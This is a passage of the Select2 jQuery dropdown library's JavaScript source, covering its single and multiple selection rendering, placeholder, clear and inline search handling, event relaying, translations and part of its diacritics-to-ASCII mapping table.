}); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = Utils.GetData(this, 'element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); S2.define('select2/selection/single',[ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '<span class="select2-selection__rendered"></span>' + '<span class="select2-selection__arrow" role="presentation">' + '<b role="presentation"></b>' + '</span>' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered') .attr('id', id) .attr('role', 'textbox') .attr('aria-readonly', 'true'); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); }; SingleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); // clear tooltip on empty }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $('<span></span>'); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().append(formatted); $rendered.attr('title', selection.title || selection.text); }; return SingleSelection; }); S2.define('select2/selection/multiple',[ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '<ul class="select2-selection__rendered"></ul>' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = Utils.GetData($selection[0], 'data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '<li class="select2-selection__choice">' + '<span class="select2-selection__choice__remove" role="presentation">' + '×' + '</span>' + '</li>' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.attr('title', selection.title || selection.text); Utils.StoreData($selection[0], 'data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); S2.define('select2/selection/placeholder',[ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); S2.define('select2/selection/allowClear',[ 'jquery', '../keys', '../utils' ], function ($, KEYS, Utils) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = Utils.GetData($clear[0], 'data'); var previousVal = this.$element.val(); this.$element.val(this.placeholder.id); var unselectData = { data: data }; this.trigger('clear', unselectData); if (unselectData.prevented) { this.$element.val(previousVal); return; } for (var d = 0; d < data.length; d++) { unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { this.$element.val(previousVal); return; } } this.$element.trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '<span class="select2-selection__clear">' + '×' + '</span>' ); Utils.StoreData($remove[0], 'data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); S2.define('select2/selection/search',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '<li class="select2-search select2-search--inline">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" aria-autocomplete="list" />' + '</li>' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = Utils.GetData($previousChoice[0], 'data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { var isTagInput = this.$element.find('[data-select2-tag]').length; if (isTagInput) { // fix IE11 bug where tag input lost focus this.$element.focus(); } else { this.$search.focus(); } } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); S2.define('select2/selection/eventRelay',[ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting', 'clear', 'clearing' ]; var preventableEvents = [ 'opening', 'closing', 'selecting', 'unselecting', 'clearing' ]; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); S2.define('select2/translation',[ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); S2.define('select2/diacritics',[ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', 